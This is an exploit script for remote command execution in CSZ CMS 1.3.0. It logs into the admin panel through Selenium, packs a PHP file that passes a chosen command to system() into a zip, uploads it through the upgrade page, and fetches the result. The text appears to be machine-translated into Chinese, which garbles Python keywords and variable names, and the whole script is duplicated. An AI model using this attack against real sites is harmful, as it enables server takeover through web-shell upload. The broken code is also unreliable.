#利用标题: CSZ CMS版本1.3.0远程命令执行
#日期: 17/11/2023
#利用作者: TMRSWRR
#供应商HomePage3360 https://www.cszcms.com/
#软件link: https://wwwww.cszcms.com/link/link/...les/files/files/latest/latest/latest/download
#版本:版本1.3.0
#测试在: https://www.softaculous.com/apps/cms/csz_cms
导入操作系统
导入Zipfile
来自Selenium Import Webdriver
从selenium.webdriver.common.通过进口
从selenium.webdriver.firefox.Options导入选项作为firefoxodtions
来自Selenium.WebDriver.FireFox.Service Import Service作为FirefoxService
来自webdriver_manager.firefox import geckodrivermanager
来自selenium.webdriver.support.ui导入WebDriverWait
从selenium.webdriver.support进口预期_conditions作为ec
从selenium.common.Exceptions导入nosuchelementException,timeoutException
导入请求
从时间进口睡眠
导入系统
导入随机
进口时间
导入平台
进口tarfile
来自IO Import Bytesio
电子邮件='[email protected]'
密码='密码'
类颜色:
okblue='\ 033 [94m'
警告='\ 033 [93m'
fail='\ 033 [91m'
endc='\ 033 [0m'
bold='\ 033 [1M'
下划线='\ 033 [4M'
cblack='\ 33 [30m'
cred='\ 33 [31m'
cgreen='\ 33 [32m'
cyellow='\ 33 [33m'
cblue='\ 33 [34m'
cviolet='\ 33 [35m'
cbeige='\ 33 [36m'
cwhite='\ 33 [37m'
color_random=[colors.cblue,colors.cviolet,colors.cwhite,colors.okblue,colors.cgreen,colors.warning,warning,warning,
颜色,颜色,颜色。
random.shuffle(color_random)
Def Entryy():
x=color_random [0] +'''
╭━━━┳━━━┳━━━━╮╭━━━┳━╮╭━┳━━━╮╭━━━┳━━━┳━━━╮╭━━━┳━╮╭━┳━━━┳╮╱╱╭━━━┳━━┳━━━━╮
┃╭━╮┃╭━╮┣━━╮━┃┃╭━╮┃┃╰╯┃┃╭━╮┃┃╭━╮┃╭━╮┃╭━━╯┃╭━━┻╮╰╯╭┫╭━╮┃┃╱╱┃╭━╮┣┫┣┫╭╮╭╮┃
┃┃╱╰┫╰━━╮╱╭╯╭╯┃┃╱╰┫╭╮╭╮┃╰━━╮┃╰━╯┃┃╱╰┫╰━━╮┃╰━━╮╰╮╭╯┃╰━╯┃┃╱╱┃┃╱┃┃┃┃╰╯┃┃╰╯
┃┃╱╭╋━━╮┃╭╯╭╯╱┃┃╱╭┫┃┃┃┃┣━━╮┃┃╭╮╭┫┃╱╭┫╭━━╯┃╭━━╯╭╯╰╮┃╭━━┫┃╱╭┫┃╱┃┃┃┃╱╱┃┃
┃╰━╯┃╰━╯┣╯━╰━╮┃╰━╯┃┃┃┃┃┃╰━╯┃┃┃┃╰┫╰━╯┃╰━━╮┃╰━━┳╯╭╮╰┫┃╱╱┃╰━╯┃╰━╯┣┫┣╮╱┃┃
╰━━━┻━━━┻━━━━╯╰━━━┻╯╰╯╰┻━━━╯╰╯╰━┻━━━┻━━━╯╰━━━┻━╯╰━┻╯╱╱╰━━━┻━━━┻━━╯╱╰╯
CSZ CMS版本1.3.0 RCE
由TMRSWRR编码
github==capture0x
\ n'''
x:中的C
打印(c,end='')
sys.stdout.flush()
睡眠(0.0045)
oo='' * 6 + 29 *'░⣿' +'\ n \ n'
对于o:中的C
print(colors.cgreen + c,end='')
sys.stdout.flush()
睡眠(0.0065)
tt='' * 5 +'░⣿' +'' * 6 +'欢迎使用CSZ CMS版本1.3.0 RCE exploit' +'' * 7 +'░⣿' +' +'\ n \ n \ n'
对于TT:中的C
print(colors.cwhite + c,end='')
sys.stdout.flush()
睡眠(0.0065)
xx='' * 6 + 29 *'░⣿' +'\ n \ n'
对于XX:中的C
print(colors.cgreen + c,end='')
sys.stdout.flush()
睡眠(0.0065)
def check_geckodriver():
current_directory=os.path.dirname(os.path.abspath(__ file __))
geckodriver_path=os.path.join(current_directory,'geckodriver')
如果不是OS.Path.Iffile(geckodriver_path):
红色='\ 033 [91m'
reset='\ 033 [0M'
print(red +'\ n \ ngeckodriver(geckodriver)在脚本的目录中不可用。' + reset)
user_input=input('您想立即下载它吗?(是/否):').lower()
如果user_input=='yes':
download_geckodriver(current_directory)
其他:
打印(红色+'请从:手动下载geckodriver https://github.com/mozilla/geckodriver/releases' + reset)
sys.exit(1)
def download_geckodriver(目录):
打印('[*]检测OS和架构.')
os_name=platform.system()。下()
Arch,_=Platform.Architecture()
如果os_name=='linux':
os_name='linux'
Arch='64'如果Arch=='64bit'else'32'
elif os_name=='darwin':
os_name='macos'
Arch='aarch64'如果Platform.Processor()=='ARM'else''
elif os_name=='Windows':
os_name='win'
Arch='64'如果Arch=='64bit'else'32'
其他:
打印('[!]不支持的操作系统。')
sys.exit(1)
geckodriver_version='v0.33.0'
geckodriver_file=f'geckodriver- {geckodriver_version} - {os_name} {Arch} {Arch}'
ext='zip'如果os_name=='赢'其他'tar.gz'
url=f'https://github.com/mozilla/geckodriver/earseas/download/{geckodriver_version}/{geckodriver_file}。{ext}'
print(f'[*]下载{platform.system()} {arch} -bit .')的geckodriver
响应=requests.get(url,stream=true)
if antsphy.status_code==200:
打印('[*]提取geckodriver .')
如果ext=='tar.gz':
使用tarfile.open(fileObj=bytesio(wendesp.content),mode='r:gz')as tar:
tar.extractall(路径=目录)
其他:
用zipfile.zipfile(bytesio(wendesp.content))作为zip_ref:
zip_ref.extractall(目录)
打印('[+] geckodriver已成功下载并提取。')
其他:
打印('[!]无法下载geckodriver。')
sys.exit(1)
def create_zip_file(php_filename,zip_filename,php_code):
TRY:
用file:打开(php_filename,'w')
file.write(php_code)
用zipfile.zipfile(zip_filename,'w')为zipf:
zipf.write(php_filename)
打印('[+] zip文件成功创建。”)
OS.Remove(php_filename)
返回zip_filename
除异常外,E:
打印(f'[!]错误创建zip file: {e}')
sys.exit(1)
def main(base_url,命令):
如果不是base_url.endswith('/'):
base_url +='/'
zip_filename=无
check_geckodriver()
TRY:
firefox_options=firefoxoptions()
firefox_options.add_argument(' - 无头')
script_directory=os.path.dirname(os.path.abspath(__ file __))
geckodriver_path=os.path.join(script_directory,'geckodriver')
服务=firefoxservice(executable_path=geckodriver_path)
驱动程序=webdriver.firefox(服务=服务,options=firefox_options)
print('[*]开发启动。')
#登录
driver.get(base_url +'admin/登录')
打印('[*]访问登录页面.')
driver.find_element(by.name,'email')。send_keys(f'{email}')
driver.find_element(by.name,'password')。send_keys(f'{passwass}')
driver.find_element(by.id,'login_submit')。单击()
打印('[*]提交的凭据.')
TRY:
error_message=driver.find_element(by.xpath,'//*[contains(text(),'电子邮件地址/密码不正确')])
如果error_message.is_displayed():
打印('[!]登录失败:无效凭据。')
driver.quit()
sys.exit(1)
除NosuchelementException:
打印('[+]登录成功。')
#文件创建
打印('[*]准备利用文件.')
php_code=f'?php echo system('{command}');
zip_filename=create_zip_file('exploit.php','paryload.zip',php_code)
driver.get(base_url +'admin/升级')
打印('[*]上传利用有效载荷.')
file_input=driver.find_element(by.id,'file_upload')
file_input.send_keys(os.path.join(os.getcwd(),zip_filename))
#上传
driver.find_element(by.id,'submit')。click()
webdriverwait(驱动程序,10).ultil(ec.alert_is_present())
alert=驱动程序。switch_to.alert
arter.accept()
#利用结果
exploit_url=base_url +'exploit.php'
响应=requests.get(exploit_url)
print(f'[+]漏洞响应: \ n \ n {response.text}')
除异常外,E:
打印(f'[!] error: {e}')
最后:
driver.quit()
如果zip_filename和os.path.exists(zip_filename):
OS.Remove(zip_filename)
如果name=='__ -Main __':
Entryy()
如果Len(sys.argv)3:
print('USAGE: Python script.py [base_url] [命令]')
其他:
main(sys.argv [1],sys.argv [2])
#日期: 17/11/2023
#利用作者: TMRSWRR
#供应商HomePage3360 https://www.cszcms.com/
#软件link: https://wwwww.cszcms.com/link/link/...les/files/files/latest/latest/latest/download
#版本:版本1.3.0
#测试在: https://www.softaculous.com/apps/cms/csz_cms
导入操作系统
导入Zipfile
来自Selenium Import Webdriver
从selenium.webdriver.common.通过进口
从selenium.webdriver.firefox.Options导入选项作为firefoxodtions
来自Selenium.WebDriver.FireFox.Service Import Service作为FirefoxService
来自webdriver_manager.firefox import geckodrivermanager
来自selenium.webdriver.support.ui导入WebDriverWait
从selenium.webdriver.support进口预期_conditions作为ec
从selenium.common.Exceptions导入nosuchelementException,timeoutException
导入请求
从时间进口睡眠
导入系统
导入随机
进口时间
导入平台
进口tarfile
来自IO Import Bytesio
电子邮件='[email protected]'
密码='密码'
类颜色:
okblue='\ 033 [94m'
警告='\ 033 [93m'
fail='\ 033 [91m'
endc='\ 033 [0m'
bold='\ 033 [1M'
下划线='\ 033 [4M'
cblack='\ 33 [30m'
cred='\ 33 [31m'
cgreen='\ 33 [32m'
cyellow='\ 33 [33m'
cblue='\ 33 [34m'
cviolet='\ 33 [35m'
cbeige='\ 33 [36m'
cwhite='\ 33 [37m'
color_random=[colors.cblue,colors.cviolet,colors.cwhite,colors.okblue,colors.cgreen,colors.warning,warning,warning,
颜色,颜色,颜色。
random.shuffle(color_random)
Def Entryy():
x=color_random [0] +'''
╭━━━┳━━━┳━━━━╮╭━━━┳━╮╭━┳━━━╮╭━━━┳━━━┳━━━╮╭━━━┳━╮╭━┳━━━┳╮╱╱╭━━━┳━━┳━━━━╮
┃╭━╮┃╭━╮┣━━╮━┃┃╭━╮┃┃╰╯┃┃╭━╮┃┃╭━╮┃╭━╮┃╭━━╯┃╭━━┻╮╰╯╭┫╭━╮┃┃╱╱┃╭━╮┣┫┣┫╭╮╭╮┃
┃┃╱╰┫╰━━╮╱╭╯╭╯┃┃╱╰┫╭╮╭╮┃╰━━╮┃╰━╯┃┃╱╰┫╰━━╮┃╰━━╮╰╮╭╯┃╰━╯┃┃╱╱┃┃╱┃┃┃┃╰╯┃┃╰╯
┃┃╱╭╋━━╮┃╭╯╭╯╱┃┃╱╭┫┃┃┃┃┣━━╮┃┃╭╮╭┫┃╱╭┫╭━━╯┃╭━━╯╭╯╰╮┃╭━━┫┃╱╭┫┃╱┃┃┃┃╱╱┃┃
┃╰━╯┃╰━╯┣╯━╰━╮┃╰━╯┃┃┃┃┃┃╰━╯┃┃┃┃╰┫╰━╯┃╰━━╮┃╰━━┳╯╭╮╰┫┃╱╱┃╰━╯┃╰━╯┣┫┣╮╱┃┃
╰━━━┻━━━┻━━━━╯╰━━━┻╯╰╯╰┻━━━╯╰╯╰━┻━━━┻━━━╯╰━━━┻━╯╰━┻╯╱╱╰━━━┻━━━┻━━╯╱╰╯
CSZ CMS版本1.3.0 RCE
由TMRSWRR编码
github==capture0x
\ n'''
x:中的C
打印(c,end='')
sys.stdout.flush()
睡眠(0.0045)
oo='' * 6 + 29 *'░⣿' +'\ n \ n'
对于o:中的C
print(colors.cgreen + c,end='')
sys.stdout.flush()
睡眠(0.0065)
tt='' * 5 +'░⣿' +'' * 6 +'欢迎使用CSZ CMS版本1.3.0 RCE exploit' +'' * 7 +'░⣿' +' +'\ n \ n \ n'
对于TT:中的C
print(colors.cwhite + c,end='')
sys.stdout.flush()
睡眠(0.0065)
xx='' * 6 + 29 *'░⣿' +'\ n \ n'
对于XX:中的C
print(colors.cgreen + c,end='')
sys.stdout.flush()
睡眠(0.0065)
def check_geckodriver():
current_directory=os.path.dirname(os.path.abspath(__ file __))
geckodriver_path=os.path.join(current_directory,'geckodriver')
如果不是OS.Path.Iffile(geckodriver_path):
红色='\ 033 [91m'
reset='\ 033 [0M'
print(red +'\ n \ ngeckodriver(geckodriver)在脚本的目录中不可用。' + reset)
user_input=input('您想立即下载它吗?(是/否):').lower()
如果user_input=='yes':
download_geckodriver(current_directory)
其他:
打印(红色+'请从:手动下载geckodriver https://github.com/mozilla/geckodriver/releases' + reset)
sys.exit(1)
def download_geckodriver(目录):
打印('[*]检测OS和架构.')
os_name=platform.system()。下()
Arch,_=Platform.Architecture()
如果os_name=='linux':
os_name='linux'
Arch='64'如果Arch=='64bit'else'32'
elif os_name=='darwin':
os_name='macos'
Arch='aarch64'如果Platform.Processor()=='ARM'else''
elif os_name=='Windows':
os_name='win'
Arch='64'如果Arch=='64bit'else'32'
其他:
打印('[!]不支持的操作系统。')
sys.exit(1)
geckodriver_version='v0.33.0'
geckodriver_file=f'geckodriver- {geckodriver_version} - {os_name} {Arch} {Arch}'
ext='zip'如果os_name=='赢'其他'tar.gz'
url=f'https://github.com/mozilla/geckodriver/earseas/download/{geckodriver_version}/{geckodriver_file}。{ext}'
print(f'[*]下载{platform.system()} {arch} -bit .')的geckodriver
响应=requests.get(url,stream=true)
if antsphy.status_code==200:
打印('[*]提取geckodriver .')
如果ext=='tar.gz':
使用tarfile.open(fileObj=bytesio(wendesp.content),mode='r:gz')as tar:
tar.extractall(路径=目录)
其他:
用zipfile.zipfile(bytesio(wendesp.content))作为zip_ref:
zip_ref.extractall(目录)
打印('[+] geckodriver已成功下载并提取。')
其他:
打印('[!]无法下载geckodriver。')
sys.exit(1)
def create_zip_file(php_filename,zip_filename,php_code):
TRY:
用file:打开(php_filename,'w')
file.write(php_code)
用zipfile.zipfile(zip_filename,'w')为zipf:
zipf.write(php_filename)
打印('[+] zip文件成功创建。”)
OS.Remove(php_filename)
返回zip_filename
除异常外,E:
打印(f'[!]错误创建zip file: {e}')
sys.exit(1)
def main(base_url,命令):
如果不是base_url.endswith('/'):
base_url +='/'
zip_filename=无
check_geckodriver()
TRY:
firefox_options=firefoxoptions()
firefox_options.add_argument(' - 无头')
script_directory=os.path.dirname(os.path.abspath(__ file __))
geckodriver_path=os.path.join(script_directory,'geckodriver')
服务=firefoxservice(executable_path=geckodriver_path)
驱动程序=webdriver.firefox(服务=服务,options=firefox_options)
print('[*]开发启动。')
#登录
driver.get(base_url +'admin/登录')
打印('[*]访问登录页面.')
driver.find_element(by.name,'email')。send_keys(f'{email}')
driver.find_element(by.name,'password')。send_keys(f'{passwass}')
driver.find_element(by.id,'login_submit')。单击()
打印('[*]提交的凭据.')
TRY:
error_message=driver.find_element(by.xpath,'//*[contains(text(),'电子邮件地址/密码不正确')])
如果error_message.is_displayed():
打印('[!]登录失败:无效凭据。')
driver.quit()
sys.exit(1)
除NosuchelementException:
打印('[+]登录成功。')
#文件创建
打印('[*]准备利用文件.')
php_code=f'?php echo system('{command}');
zip_filename=create_zip_file('exploit.php','paryload.zip',php_code)
driver.get(base_url +'admin/升级')
打印('[*]上传利用有效载荷.')
file_input=driver.find_element(by.id,'file_upload')
file_input.send_keys(os.path.join(os.getcwd(),zip_filename))
#上传
driver.find_element(by.id,'submit')。click()
webdriverwait(驱动程序,10).ultil(ec.alert_is_present())
alert=驱动程序。switch_to.alert
arter.accept()
#利用结果
exploit_url=base_url +'exploit.php'
响应=requests.get(exploit_url)
print(f'[+]漏洞响应: \ n \ n {response.text}')
除异常外,E:
打印(f'[!] error: {e}')
最后:
driver.quit()
如果zip_filename和os.path.exists(zip_filename):
OS.Remove(zip_filename)
如果name=='__ -Main __':
Entryy()
如果Len(sys.argv)3:
print('USAGE: Python script.py [base_url] [命令]')
其他:
main(sys.argv [1],sys.argv [2])